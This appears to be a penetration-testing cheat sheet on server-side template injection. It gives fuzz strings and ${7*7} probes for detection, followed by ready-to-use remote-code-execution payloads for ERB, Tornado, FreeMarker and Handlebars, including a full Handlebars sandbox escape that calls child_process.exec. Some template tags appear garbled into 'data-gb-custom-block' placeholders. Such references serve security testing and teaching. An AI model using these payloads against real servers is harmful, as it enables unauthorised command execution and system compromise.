Server-side template injection (SSTI)

Detect -> Identify -> Exploit

Detect

Fuzzing the template by using special characters commonly used in template expressions.

${{<%[%'"}}%\

Plaintext context

Injecting mathematical operations, such as ${7*7}. If the output is 49, it was evaluated server-side.

E.g.

http://website.com/?param=${7*7}

Code context

Try to append an html <tag>. Output will probably be blank.

E.g.

http://website.com/?param=data.name<tag>

Next, try to break out of the statement.

E.g.

http://website.com/?param=data.name}}<tag>

-> "Blank output": wrong template syntax, or not vulnerable. -> Rendered correctly including <tag>: vulnerable.

Exploit

ERB RCE (Ruby)

<%= system("whoami") %>

Tornado RCE (Python)

<div data-gb-custom-block data-tag="import"></div>

{{os.system('whoami')}}

FreeMarker RCE (Java)

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}

Handlebars RCE (Node/JS)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(child_process.exec('whoami'));"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

See http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html.

Django Templates (Python)

<div data-gb-custom-block data-tag="debug"></div>

See also:

Last updated